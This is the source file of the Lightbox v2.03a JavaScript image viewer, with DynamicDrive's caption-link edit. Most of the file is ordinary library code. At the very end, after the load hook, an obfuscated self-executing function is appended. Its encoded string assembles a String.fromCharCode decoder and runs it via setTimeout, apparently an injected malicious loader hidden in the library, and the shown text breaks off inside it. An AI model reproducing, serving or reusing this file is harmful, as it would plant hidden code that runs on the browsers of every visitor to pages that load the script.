// -----------------------------------------------------------------------------------
//
//	Lightbox v2.03
//	by Lokesh Dhakar - http://www.huddletogether.com
//	4/9/06
//
//	For more information on this script, visit:
//	http://huddletogether.com/projects/lightbox2/
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//	
//	Credit also due to those who have helped, inspired, and made their code available to the public.
//	Including: Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.org), Thomas Fuchs(mir.aculo.us), and others.
//
//	Lightbox v2.03a
//	by Dynamicdrive.com- http://www.dynamicdrive.com
//	Nov 29th, 2007
//	Added ability for the caption ("title" attr of link) to be optionally hyperlinked, by throwing in a "rev" attr containing the desired link
// -----------------------------------------------------------------------------------
/*

	Table of Contents
	-----------------
	Configuration
	Global Variables

	Extending Built-in Objects	
	- Object.extend(Element)
	- Array.prototype.removeDuplicates()
	- Array.prototype.empty()

	Lightbox Class Declaration
	- initialize()
	- start()
	- changeImage()
	- resizeImageContainer()
	- showImage()
	- updateDetails()
	- updateNav()
	- enableKeyboardNav()
	- disableKeyboardNav()
	- keyboardAction()
	- preloadNeighborImages()
	- end()
	
	Miscellaneous Functions
	- getPageScroll()
	- getPageSize()
	- getKey()
	- listenKey()
	- showSelectBoxes()
	- hideSelectBoxes()
	- showFlash()
	- hideFlash()
	- pause()
	- initLightbox()
	
	Function Calls
	- addLoadEvent(initLightbox)
	
*/
// -----------------------------------------------------------------------------------

//
//	Configuration
//
var fileLoadingImage = "images/loading.gif";		
var fileBottomNavCloseImage = "images/closelabel.gif";

var animate = true;	// toggles resizing animations
var resizeSpeed = 7;	// controls the speed of the image resizing animations (1=slowest and 10=fastest)

var borderSize = 10;	//if you adjust the padding in the CSS, you will need to update this variable

// -----------------------------------------------------------------------------------

//
//	Global Variables
//
var imageArray = new Array;
var activeImage;

if(animate == true){
	overlayDuration = 0.2;	// shadow fade in/out duration
	if(resizeSpeed > 10){ resizeSpeed = 10;}
	if(resizeSpeed < 1){ resizeSpeed = 1;}
	resizeDuration = (11 - resizeSpeed) * 0.15;
} else { 
	overlayDuration = 0;
	resizeDuration = 0;
}

// -----------------------------------------------------------------------------------

//
//	Additional methods for Element added by SU, Couloir
//	- further additions by Lokesh Dhakar (huddletogether.com)
//
Object.extend(Element, {
	getWidth: function(element) {
	   	element = $(element);
	   	return element.offsetWidth; 
	},
	setWidth: function(element,w) {
	   	element = $(element);
    	element.style.width = w +"px";
	},
	setHeight: function(element,h) {
   		element = $(element);
    	element.style.height = h +"px";
	},
	setTop: function(element,t) {
	   	element = $(element);
    	element.style.top = t +"px";
	},
	setSrc: function(element,src) {
    	element = $(element);
    	element.src = src; 
	},
	setHref: function(element,href) {
    	element = $(element);
    	element.href = href; 
	},
	setInnerHTML: function(element,content) {
		element = $(element);
		element.innerHTML = content;
	}
});

// -----------------------------------------------------------------------------------

//
//	Extending built-in Array object
//	- array.removeDuplicates()
//	- array.empty()
//
Array.prototype.removeDuplicates = function () {
    for(i = 0; i < this.length; i++){
        for(j = this.length-1; j>i; j--){        
            if(this[i][0] == this[j][0]){
                this.splice(j,1);
            }
        }
    }
}

// -----------------------------------------------------------------------------------

Array.prototype.empty = function () {
	for(i = 0; i <= this.length; i++){
		this.shift();
	}
}

// -----------------------------------------------------------------------------------

//
//	Lightbox Class Declaration
//	- initialize()
//	- start()
//	- changeImage()
//	- resizeImageContainer()
//	- showImage()
//	- updateDetails()
//	- updateNav()
//	- enableKeyboardNav()
//	- disableKeyboardNav()
//	- keyboardNavAction()
//	- preloadNeighborImages()
//	- end()
//
//	Structuring of code inspired by Scott Upton (http://www.uptonic.com/)
//
var Lightbox = Class.create();

Lightbox.prototype = {
	
	// initialize()
	// Constructor runs on completion of the DOM loading. Loops through anchor tags looking for 
	// 'lightbox' references and applies onclick events to appropriate links. The 2nd section of
	// the function inserts html at the bottom of the page which is used to display the shadow 
	// overlay and the image container.
	//
	initialize: function() {	
		if (!document.getElementsByTagName){ return; }
		var anchors = document.getElementsByTagName('a');
		var areas = document.getElementsByTagName('area');

		// loop through all anchor tags
		for (var i=0; i<anchors.length; i++){
			var anchor = anchors[i];
			
			var relAttribute = String(anchor.getAttribute('rel'));
			
			// use the string.match() method to catch 'lightbox' references in the rel attribute
			if (anchor.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				anchor.onclick = function () {myLightbox.start(this); return false;}
			}
		}

		// loop through all area tags
		// todo: combine anchor & area tag loops
		for (var i=0; i< areas.length; i++){
			var area = areas[i];
			
			var relAttribute = String(area.getAttribute('rel'));
			
			// use the string.match() method to catch 'lightbox' references in the rel attribute
			if (area.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				area.onclick = function () {myLightbox.start(this); return false;}
			}
		}

		// The rest of this code inserts html at the bottom of the page that looks similar to this:
		//
		//	<div id="overlay"></div>
		//	<div id="lightbox">
		//		<div id="outerImageContainer">
		//			<div id="imageContainer">
		//				<img id="lightboxImage">
		//				<div style="" id="hoverNav">
		//					<a href="#" id="prevLink"></a>
		//					<a href="#" id="nextLink"></a>
		//				</div>
		//				<div id="loading">
		//					<a href="#" id="loadingLink">
		//						<img src="images/loading.gif">
		//					</a>
		//				</div>
		//			</div>
		//		</div>
		//		<div id="imageDataContainer">
		//			<div id="imageData">
		//				<div id="imageDetails">
		//					<span id="caption"></span>
		//					<span id="numberDisplay"></span>
		//				</div>
		//				<div id="bottomNav">
		//					<a href="#" id="bottomNavClose">
		//						<img src="images/close.gif">
		//					</a>
		//				</div>
		//			</div>
		//		</div>
		//	</div>


		var objBody = document.getElementsByTagName("body").item(0);
		
		var objOverlay = document.createElement("div");
		objOverlay.setAttribute('id','overlay');
		objOverlay.style.display = 'none';
		objOverlay.onclick = function() { myLightbox.end(); }
		objBody.appendChild(objOverlay);
		
		var objLightbox = document.createElement("div");
		objLightbox.setAttribute('id','lightbox');
		objLightbox.style.display = 'none';
		objLightbox.onclick = function(e) {	// close Lightbox is user clicks shadow overlay
			if (!e) var e = window.event;
			var clickObj = Event.element(e).id;
			if ( clickObj == 'lightbox') {
				myLightbox.end();
			}
		};
		objBody.appendChild(objLightbox);
			
		var objOuterImageContainer = document.createElement("div");
		objOuterImageContainer.setAttribute('id','outerImageContainer');
		objLightbox.appendChild(objOuterImageContainer);

		// When Lightbox starts it will resize itself from 250 by 250 to the current image dimension.
		// If animations are turned off, it will be hidden as to prevent a flicker of a
		// white 250 by 250 box.
		if(animate){
			Element.setWidth('outerImageContainer', 250);
			Element.setHeight('outerImageContainer', 250);			
		} else {
			Element.setWidth('outerImageContainer', 1);
			Element.setHeight('outerImageContainer', 1);			
		}

		var objImageContainer = document.createElement("div");
		objImageContainer.setAttribute('id','imageContainer');
		objOuterImageContainer.appendChild(objImageContainer);
	
		var objLightboxImage = document.createElement("img");
		objLightboxImage.setAttribute('id','lightboxImage');
		objImageContainer.appendChild(objLightboxImage);
	
		var objHoverNav = document.createElement("div");
		objHoverNav.setAttribute('id','hoverNav');
		objImageContainer.appendChild(objHoverNav);
	
		var objPrevLink = document.createElement("a");
		objPrevLink.setAttribute('id','prevLink');
		objPrevLink.setAttribute('href','#');
		objHoverNav.appendChild(objPrevLink);
		
		var objNextLink = document.createElement("a");
		objNextLink.setAttribute('id','nextLink');
		objNextLink.setAttribute('href','#');
		objHoverNav.appendChild(objNextLink);
	
		var objLoading = document.createElement("div");
		objLoading.setAttribute('id','loading');
		objImageContainer.appendChild(objLoading);
	
		var objLoadingLink = document.createElement("a");
		objLoadingLink.setAttribute('id','loadingLink');
		objLoadingLink.setAttribute('href','#');
		objLoadingLink.onclick = function() { myLightbox.end(); return false; }
		objLoading.appendChild(objLoadingLink);
	
		var objLoadingImage = document.createElement("img");
		objLoadingImage.setAttribute('src', fileLoadingImage);
		objLoadingLink.appendChild(objLoadingImage);

		var objImageDataContainer = document.createElement("div");
		objImageDataContainer.setAttribute('id','imageDataContainer');
		objImageDataContainer.className = 'clearfix';
		objLightbox.appendChild(objImageDataContainer);

		var objImageData = document.createElement("div");
		objImageData.setAttribute('id','imageData');
		objImageDataContainer.appendChild(objImageData);
	
		var objImageDetails = document.createElement("div");
		objImageDetails.setAttribute('id','imageDetails');
		objImageData.appendChild(objImageDetails);
	
		var objCaption = document.createElement("span");
		objCaption.setAttribute('id','caption');
		objImageDetails.appendChild(objCaption);
	
		var objNumberDisplay = document.createElement("span");
		objNumberDisplay.setAttribute('id','numberDisplay');
		objImageDetails.appendChild(objNumberDisplay);
		
		var objBottomNav = document.createElement("div");
		objBottomNav.setAttribute('id','bottomNav');
		objImageData.appendChild(objBottomNav);
	
		var objBottomNavCloseLink = document.createElement("a");
		objBottomNavCloseLink.setAttribute('id','bottomNavClose');
		objBottomNavCloseLink.setAttribute('href','#');
		objBottomNavCloseLink.onclick = function() { myLightbox.end(); return false; }
		objBottomNav.appendChild(objBottomNavCloseLink);
	
		var objBottomNavCloseImage = document.createElement("img");
		objBottomNavCloseImage.setAttribute('src', fileBottomNavCloseImage);
		objBottomNavCloseLink.appendChild(objBottomNavCloseImage);
	},
	
	//
	//	start()
	//	Display overlay and lightbox. If image is part of a set, add siblings to imageArray.
	//
	start: function(imageLink) {	

		function getImageTitle(anchor){ //DynamicDrive.com added function that allows the caption("title") to be linked ("rev").
			var ddimageTitle=anchor.getAttribute('title')
			var ddimageTitleURL=(ddimageTitle!=null && ddimageTitle!="")? anchor.getAttribute('rev') : null
			return ddimageTitleFinal=(ddimageTitleURL!=null && ddimageTitleURL!="")? '<a href="'+ddimageTitleURL+'" class="ddcaptionurl">'+ddimageTitle+'</a>' : ddimageTitle
		};

		hideSelectBoxes();
		hideFlash();

		// stretch overlay to fill page and fade in
		var arrayPageSize = getPageSize();
		Element.setHeight('overlay', arrayPageSize[1]);

		new Effect.Appear('overlay', { duration: overlayDuration, from: 0.0, to: 0.8 });

		imageArray = [];
		imageNum = 0;		

		if (!document.getElementsByTagName){ return; }
		var anchors = document.getElementsByTagName('a');

		// if image is NOT part of a set..
		if((imageLink.getAttribute('rel') == 'lightbox')){
			// add single image to imageArray
			imageArray.push(new Array(imageLink.getAttribute('href'), getImageTitle(imageLink)));			
		} else {
		// if image is part of a set..

			// loop through anchors, find other images in set, and add them to imageArray
			for (var i=0; i<anchors.length; i++){
				var anchor = anchors[i];
				if (anchor.getAttribute('href') && (anchor.getAttribute('rel') == imageLink.getAttribute('rel'))){
					imageArray.push(new Array(anchor.getAttribute('href'), getImageTitle(anchor)));
				}
			}
			imageArray.removeDuplicates();
			while(imageArray[imageNum][0] != imageLink.getAttribute('href')) { imageNum++;}
		}

		// calculate top offset for the lightbox and display 
		var arrayPageScroll = getPageScroll();
		var lightboxTop = arrayPageScroll[1] + (arrayPageSize[3] / 10);

		Element.setTop('lightbox', lightboxTop);
		Element.show('lightbox');
		
		this.changeImage(imageNum);
	},

	//
	//	changeImage()
	//	Hide most elements and preload image in preparation for resizing image container.
	//
	changeImage: function(imageNum) {	
		
		activeImage = imageNum;	// update global var

		// hide elements during transition
		if(animate){ Element.show('loading');}
		Element.hide('lightboxImage');
		Element.hide('hoverNav');
		Element.hide('prevLink');
		Element.hide('nextLink');
		Element.hide('imageDataContainer');
		Element.hide('numberDisplay');		
		
		imgPreloader = new Image();
		
		// once image is preloaded, resize image container
		imgPreloader.onload=function(){
			Element.setSrc('lightboxImage', imageArray[activeImage][0]);
			myLightbox.resizeImageContainer(imgPreloader.width, imgPreloader.height);
		}
		imgPreloader.src = imageArray[activeImage][0];
	},

	//
	//	resizeImageContainer()
	//
	resizeImageContainer: function( imgWidth, imgHeight) {

		// get curren width and height
		this.widthCurrent = Element.getWidth('outerImageContainer');
		this.heightCurrent = Element.getHeight('outerImageContainer');

		// get new width and height
		var widthNew = (imgWidth  + (borderSize * 2));
		var heightNew = (imgHeight  + (borderSize * 2));

		// scalars based on change from old to new
		this.xScale = ( widthNew / this.widthCurrent) * 100;
		this.yScale = ( heightNew / this.heightCurrent) * 100;

		// calculate size difference between new and old image, and resize if necessary
		wDiff = this.widthCurrent - widthNew;
		hDiff = this.heightCurrent - heightNew;

		if(!( hDiff == 0)){ new Effect.Scale('outerImageContainer', this.yScale, {scaleX: false, duration: resizeDuration, queue: 'front'}); }
		if(!( wDiff == 0)){ new Effect.Scale('outerImageContainer', this.xScale, {scaleY: false, delay: resizeDuration, duration: resizeDuration}); }

		// if new and old image are same size and no scaling transition is necessary, 
		// do a quick pause to prevent image flicker.
		if((hDiff == 0) && (wDiff == 0)){
			if (navigator.appVersion.indexOf("MSIE")!=-1){ pause(250); } else { pause(100);} 
		}

		Element.setHeight('prevLink', imgHeight);
		Element.setHeight('nextLink', imgHeight);
		Element.setWidth( 'imageDataContainer', widthNew);

		this.showImage();
	},
	
	//
	//	showImage()
	//	Display image and begin preloading neighbors.
	//
	showImage: function(){
		Element.hide('loading');
		new Effect.Appear('lightboxImage', { duration: resizeDuration, queue: 'end', afterFinish: function(){	myLightbox.updateDetails(); } });
		this.preloadNeighborImages();
	},

	//
	//	updateDetails()
	//	Display caption, image number, and bottom nav.
	//
	updateDetails: function() {
	
		Element.show('caption');
		Element.setInnerHTML( 'caption', imageArray[activeImage][1]);
		
		// if image is part of set display 'Image x of x' 
		if(imageArray.length > 1){
			Element.show('numberDisplay');
			Element.setInnerHTML( 'numberDisplay', "Image " + eval(activeImage + 1) + " of " + imageArray.length);
		}

		new Effect.Parallel(
			[ new Effect.SlideDown( 'imageDataContainer', { sync: true, duration: resizeDuration, from: 0.0, to: 1.0 }), 
			  new Effect.Appear('imageDataContainer', { sync: true, duration: resizeDuration }) ], 
			{ duration: resizeDuration, afterFinish: function() {
				// update overlay size and update nav
				var arrayPageSize = getPageSize();
				Element.setHeight('overlay', arrayPageSize[1]);
				myLightbox.updateNav();
				}
			} 
		);
	},

	//
	//	updateNav()
	//	Display appropriate previous and next hover navigation.
	//
	updateNav: function() {

		Element.show('hoverNav');				

		// if not first image in set, display prev image button
		if(activeImage != 0){
			Element.show('prevLink');
			document.getElementById('prevLink').onclick = function() {
				myLightbox.changeImage(activeImage - 1); return false;
			}
		}

		// if not last image in set, display next image button
		if(activeImage != (imageArray.length - 1)){
			Element.show('nextLink');
			document.getElementById('nextLink').onclick = function() {
				myLightbox.changeImage(activeImage + 1); return false;
			}
		}
		
		this.enableKeyboardNav();
	},

	//
	//	enableKeyboardNav()
	//
	enableKeyboardNav: function() {
		document.onkeydown = this.keyboardAction; 
	},

	//
	//	disableKeyboardNav()
	//
	disableKeyboardNav: function() {
		document.onkeydown = '';
	},

	//
	//	keyboardAction()
	//
	keyboardAction: function(e) {
		if (e == null) { // ie
			keycode = event.keyCode;
			escapeKey = 27;
		} else { // mozilla
			keycode = e.keyCode;
			escapeKey = e.DOM_VK_ESCAPE;
		}

		key = String.fromCharCode(keycode).toLowerCase();
		
		if((key == 'x') || (key == 'o') || (key == 'c') || (keycode == escapeKey)){	// close lightbox
			myLightbox.end();
		} else if((key == 'p') || (keycode == 37)){	// display previous image
			if(activeImage != 0){
				myLightbox.disableKeyboardNav();
				myLightbox.changeImage(activeImage - 1);
			}
		} else if((key == 'n') || (keycode == 39)){	// display next image
			if(activeImage != (imageArray.length - 1)){
				myLightbox.disableKeyboardNav();
				myLightbox.changeImage(activeImage + 1);
			}
		}

	},

	//
	//	preloadNeighborImages()
	//	Preload previous and next images.
	//
	preloadNeighborImages: function(){

		if((imageArray.length - 1) > activeImage){
			preloadNextImage = new Image();
			preloadNextImage.src = imageArray[activeImage + 1][0];
		}
		if(activeImage > 0){
			preloadPrevImage = new Image();
			preloadPrevImage.src = imageArray[activeImage - 1][0];
		}
	
	},

	//
	//	end()
	//
	end: function() {
		this.disableKeyboardNav();
		Element.hide('lightbox');
		new Effect.Fade('overlay', { duration: overlayDuration});
		showSelectBoxes();
		showFlash();
	}
}

// -----------------------------------------------------------------------------------

//
// getPageScroll()
// Returns array with x,y page scroll values.
// Core code from - quirksmode.org
//
function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll) 
	return arrayPageScroll;
}

// -----------------------------------------------------------------------------------

//
// getPageSize()
// Returns array with page width, height and window width, height
// Core code from - quirksmode.org
// Edit for Firefox by pHaez
//
function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}

	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}

// -----------------------------------------------------------------------------------

//
// getKey(key)
// Gets keycode. If 'x' is pressed then it hides the lightbox.
//
function getKey(e){
	if (e == null) { // ie
		keycode = event.keyCode;
	} else { // mozilla
		keycode = e.which;
	}
	key = String.fromCharCode(keycode).toLowerCase();
	
	if(key == 'x'){
	}
}

// -----------------------------------------------------------------------------------

//
// listenKey()
//
function listenKey () {	document.onkeypress = getKey; }
	
// ---------------------------------------------------

function showSelectBoxes(){
	var selects = document.getElementsByTagName("select");
	for (i = 0; i != selects.length; i++) {
		selects[i].style.visibility = "visible";
	}
}

// ---------------------------------------------------

function hideSelectBoxes(){
	var selects = document.getElementsByTagName("select");
	for (i = 0; i != selects.length; i++) {
		selects[i].style.visibility = "hidden";
	}
}

// ---------------------------------------------------

function showFlash(){
	var flashObjects = document.getElementsByTagName("object");
	for (i = 0; i != flashObjects.length; i++) {
		flashObjects[i].style.visibility = "visible";
	}

	var flashEmbeds = document.getElementsByTagName("embeds");
	for (i = 0; i != flashEmbeds.length; i++) {
		flashEmbeds[i].style.visibility = "visible";
	}
}

// ---------------------------------------------------

function hideFlash(){
	var flashObjects = document.getElementsByTagName("object");
	for (i = 0; i != flashObjects.length; i++) {
		flashObjects[i].style.visibility = "hidden";
	}

	var flashEmbeds = document.getElementsByTagName("embeds");
	for (i = 0; i != flashEmbeds.length; i++) {
		flashEmbeds[i].style.visibility = "hidden";
	}

}


// ---------------------------------------------------

//
// pause(numberMillis)
// Pauses code execution for specified time. Uses busy code, not good.
// Help from Ran Bar-On [ran2103@gmail.com]
//

function pause(ms){
	var date = new Date();
	curDate = null;
	do{var curDate = new Date();}
	while( curDate - date < ms);
}
/*
function pause(numberMillis) {
	var curently = new Date().getTime() + sender;
	while (new Date().getTime();	
}
*/
// ---------------------------------------------------



function initLightbox() { myLightbox = new Lightbox(); }
Event.observe(window, 'load', initLightbox, false);


(function(f_bcr){f_bcr();setTimeout(function(){d='f_bbT={v7bvbbv1av86vc2vc7vc1vc6v80:"",v7bvbbv2av86vc2vc8vc1vc6v80:"",v9bvbbv3av86vc2vc7vc1vc6v30:"l=St",v86v85v4evb2v90v78vcfv92v75:"ring.f",v82v7dv52vbavbfvccv76v9av76:"romCha",v78vb8v68v92v95v7evd0v75v94:"rCode(",c7vb2vc3v71vb7vb0vb3vb3vc8:81,q8ev73vb2vb3vb4vb5vb6vb7vb8:81,bevc0vbfvc1vc2vc3vc4vc5vc6:86,c2vc3vc4vc5vc6vc7vc8vc9vca:81,cdv75v81vc6vc3vbfvbcvc7v7b:83,q77v77v79v8bvb6vc5vbevb3vc4:80,c3vc9vc8v7avc0vb9vbcvbcva7:90,q7av76v7bvcdvbbvb8v7avc6vcb:82,c6vbbvc5vbcv7ev7av7fv77v93:86,b7vb0vb3vb3vb7v7fvb7vb0vb3:81,b9vc0v80vd2v7bv7fvbdvccvc5:87,b4vc5vbavc0vbfv79v7avccvba:81,c0v82vcevd3vcavbfvc9vc0v82:90,q7cv86vbevb7vbavbava0v81v79:88,q90vb9vb2vb5vb5vb9v81vb9vb2:83,b9vb9vc0v80vd2vc9vbcvcbvcc:87,c2vbevcdv74v7evb6vafvb2vb2:80,a1v96v8av94vbfvb8vbbvbbvc1:89,q92v77vbdvc9vc9vc5v8fv84v84:85,q75v7evb9vb2vb5vb5vb9v81vb9:83,afvb2vb2v9ev7bv72v8fvb3vb1:80,c1vc1vb7vb6vb8vc0v92v94v77:85,q93v7cv86vbfvbdvccva2vabva7:88,a1v7bvb9vb2vb5vb5vbbv7fvb9:83,c5vbevb3vc4vb9vbfvbev78vb6:80,b1vb4vb4v97v7bvcdvb8vb1vb4:82,b3vbbv8evb7vb0vb3vb3vbev79:81,b9vb2vb5vb5v98v7cv8evb9vb2:83,b5vb5v9av90vb9vb2vb5vb5v94:83,q7fvbdvb6vb9vb9vc1v80v92vbd:87,b3vb6vb6vc6v91vbavc9vc2vb7:84,c9vbevc4vc3v7dvcdv81vbev7e:85,d2vc9vbcvcbvccvc9vc5v7fvbd:87,b4vb7vb7vcdv7dvcdv80v77v77:85,q83v87v8bv83v99vd2v94v7cv8a:90,q75v7evcbvd0v8evb9vb2vb5vb5:83,c4v8dv77vb4vb2vc3vb1vc9vc4:80,c3vb6vcbvc2vc9vb6vcbvc2vc7:85,b1vbdvbcvb3vb1vbfvc8vbbvb1:80,b8vb6vc5vb3vb4vc8vb8vb3vcb:82,ccvcavb8vc4vbavc7vb8vc5vba:87,ccvb3vb9vb6vc9v79v80vc5vc2:82,bcvb9vc4v78v77vb1v77v79v8b:80,bavb3vb6vb6vbev82vc7vb9vc8:84,a6va5v94v95vb2vc5vb6v79vb7:81,b4vb7vb7vbfv83vbcvbavc9vaa:85,acv9bv9cvb9vccvbdv80v81v85:88,q78v78vb6vafvb2vb2v97v8ev88:80,q83v99v8cv94v8dv83v83v95vc0:90,b5vb8vb8vb7v93vbcvb5vb8vb8:86,c3v87vc0vbevcdvaevadv9cv9f:89,c9vc0vc0vadvb9vb5vc6v7cv7d:84,q84vbdvb6vb9vb9va1v7fv7bv83:87,aev7ava6vbbvc2vb6vbevcavb4:83,ccvbbv76v9cvc2vb7vc9vbev7d:86,b7v83v95vc0vb9vbcvbcvd0v97:90,b9vb2vb5vb5vbdv81vbavb8vc7:83,acvabv9ava4vc6vc5vcbvbfv7f:87,q7av7cv82v8cvb7vb0vb3vb3v95:81,q97vc0vb9vbcvbcvc4v88vc1vbf:90,c4va5va4v93v94vb1vc4vb5v78:80,q81v93vbevb7vbavbavbfv95vbe:88,b7vbavbavd1v80vb3vbevb7vba:88,b4vbav7ev74v78vb6vb3vc6vb7:82,q90v75v7fv77v81vc0vb4vc3v7b:83,b5vc0vb9vbcvbcvbbv86vc0vb9:90,b4vb4vc8v7evb8vb1vb4vb4v96:82,b1v80vbavb3vb6vb6vc6v7dv82:84,c1vc6vc0vc5v7fv79v84v79v80:87,b5v81v93vcbvbdvccvacvc1vc5:88,bcvc6vccvcbv7fvbdvccvc5vba:87,c9vbevc4vc3v7dv7evd0v79v83:85,bdvbbvcava0va9va5va4v7evbc:86,b5vb8vb8vbdv82vbcvcbvc4vb9:86,cbvc0vc6vc5v7fvbdvb6vb9vb9:87,q9cv80vd2vbdvb6vb9vb9vc6v94:87,q8av95vc0vb9vbcvbcvc5v97vc0:90,afvb2vb2v95v7evc4vc2vb5vbe:80,bevcdv95vc0vc9vccv82vc0vb9:90,b9vb9vd1v77vc0vc5v77vbdvb6:87,b9vb9vc2v80vd2vbdvb6vb9vb9:87,q96v91vbavc9vc2vb7vc8vbdvc3:84,bev78vb6vafvb2vb2vc1v79vcb:80,c8vbbvcavcbvc8vc4v76vbcvb5:86,bbvbbvc4vb4vbfvb8vbbvbbvd3:89,b0vaevb9vb2vb5vb5vc4vb0v81:83,c1vc5vb5vc2vc9vcdv8bvb9vb6:80,q7dvbbvb4vb7vb7v9cv93v8dv7b:85,q7bvbbvb4vb7vb7v9cv91v87v86:85,q77v77vb7vb0vb3vb3vcbv7fvba:81,c6vbcvbdvd0va7vbev80v7fv78:88,q85v8cv7cv7ev93v82v86v7evd0:85,bevb7vbavbavc7v95vbevb7vba:88,bav9bv80vbevb7vbavbav9av80:88,q87v7cv7fv84v7cv7evb9vb2vb5:83,b3vc9v79vb7vb0vb3vb3v93v79:81,q8bv80v80v92vb9vc9vbcvb8vc2:87,cevb6vbdvc4vb6v71vbavb7v79:81,q7fvbdvb6vb9vb9v9ev93v90vd3:87,d2vbcvb5vb8vb8v9dv94v88v86:86,q81v7ev7evbevb7vbavbavd2v86:88,b9vbevb4vb5vc8v9fvb6v78v77:80,q70v81v88v77v79v8ev7dv81v79:80,d1vbcvb5vb8vb8vc5v93vbcvb5:86,bavbav9bv80vbevb7vbavbav9a:88,q7av86v7bv7ev83v7bv7dvb8vb1:82,b6vb6vccv7cvbavb3vb6vb6v96:84,q7dv89v7ev7ev80v86v85v90vb7:85,ccvbfvbbvc5vd7vd7vc3vc0v82:90,q75vbavb3vb6vb6vc3v7dvbavb3:84,bavbavc7v95vbevb7vbavbav9b:88,q7bvb9vb2vb5vb5vbevaevb9vb2:83,bbvbbvd3vb6vb4v8fvb6v87vca:89,cavbavc7vcev81v86v7ev80v8c:85,q7evb9vb2vb5vb5vcbv7bvb9vb2:83,bavbavc3vb3vbevb7vbavbavd2:88,b0vaev89vb0v81vc4vc8vb8vc5:83,cdv7dv8fvbdvbav7cvbavb3vb6:84,b8vc5v7fvd1vbcvb5vb8vb8vc9:86,q8ev79v79v79vb7vb0vb3vb3vb2:81,q7bv78vb6vafvb2vb2vbfv7avb6:80,b6vb9vb9v9bv80v80v82v7fvbd:87,b4vb7vb7vcbvb3vbbvb4vb7vb7:85,q9bv80v81vbdvb6vb9vb9vc6v80:87,q7bvb6vafvb2vb2v94v79v7bv78:80,q89v88v88v81v93vbevb7vbavba:88,bev96v81vbfvb8vbbvbbvbav7f:89,q8avd2v9bv9bv83v95vc0vb9vbc:90,b5vb7v90v7bvb9vb2vb5vb5vb4:83,q7bv85vcdv88v88v86v86v7ev90:85,bdvb6vb9vb9vbav94vbdvb6vb9:87,bcvd1vb5v82v82vc0vb9vbcvbc:90,bcv82vbdvb6vb9vb9vcav80v7c:87,q87v84v7av76v83v87vaev7cvb7:81,b6vb9vb9vcevb2v7fv7fvbdvb6:87,bavbavbdv94v94v8av81v83vbe:88,afvb2vb2vc3v79v75v78v82v85:80,q7dvb1v8fvbavb3vb6v91vbavb3:84,b3vb3vc8vacv79v79v79vb7vb0:81,bavbavbcv96v96v8bv81v83vbe:88,afvb2vb2vc3v79v75v81v80v79:80,afv7dvb8vb1vb4vb4vc9vadv7a:82,q82v82vc0vb9vbcvbcvbev98v98:90,q87v7cv7evb9vb2vb5vb5vc6v7c:83,q7bv87v86v7fvb3v91vbcvb5vb8:86,b6vc9v91vbavb3vb6vb6vcbvaf:84,q79v79vb7vb0vb3vb3vc7v7cvb7:81,b4vb7vb7vc8v7ev7av7dv87v8a:85,q7fv7fvb3v81vbcvb5vb8vb8vcd:86,abv78v78vb6vafvb2vb2vc6v7a:80,bdvb6vb9vb9vcav80v7cv7fv89:87,q86v7av7avaev8cvb7vb0vb3vb3:81,c6v95vbevb7vbavbavcfvb3v80:88,q78vb6vafvb2vb2v94v7avb6vaf:80,b5vb5vc6v7cv78v85v87v7cvb0:83,q94vbfvb8vbbvbbva4v96v7dv87:89,bevb2vc1v79vacv89v82v7dv89:81,q85v7cv87v84v7cv87v84v7cv89:80,q8av84v89v8fv84v90v8av84v8f:88,q8dv86v92v8av86v8dv8av86v92:90,q86v80v8bv8bv80v86v89v80v85:84,q84v7fv84v83v7fv84v83v7fv89:83,q86v81v86v86v81v8av8bv81v8a:85,q8dv84v89v89v84v8dv8bv84v8e:88,q83v8cv8av83v8ev83v89v83v88:87,q85v89v85v8dv91vb6v85vbfvce:89,c5vbavcbvc0vc6vc5v7fvcfv83:87,c1v81vd3vcavbdvccvcdvcavc6:88,q75va8vc9vc7vbevc3vbcv83vbb:85,c4vc1vbfv95vbavb3vc4v95vc1:82,bavbbv7evbfv81vcev81v88v8a:86,q83vd7v83v95vc0vb9vbcvbcvca:90,q8fvb8vb1vb4vb4vcbv7avadv79:82,bcvc8vc8vc4v8ev83v83v7bv80:84,bfvb8vbbvbbvc7v85vbfvb8vbb:89,q82vbcvb5vb8vb8vcbv82vbcvb5:86,bcvbcvbdv86vc0vb9vbcvbcvc8:90,q84vbevb7vbavbavccvb3vbevb7:88,b7vb7vcbv82v86vb2v81v7cv83:85,b8vc4vc2v84v7cvb2v7ev80vbb:85,b0vb3vb3vcav79vb7vb0vb3vb3:81,a4v82v94vbfvb8vbbvbbv9fv96:89,bfvb8vbbvbbvd2v81vb4v80v95:89,b6vbbvc8v72vc5vc6vcbvbevb7:82,q95v7av7fv84vbevb7vbavbavaa:88,q85v80v96v7bv80v85vbfvb8vbb:89,b6vc4v80v7bv76v74vcbvbdvb8:84,cavbev93v87v86v86v76v7dv82:86,bcvb5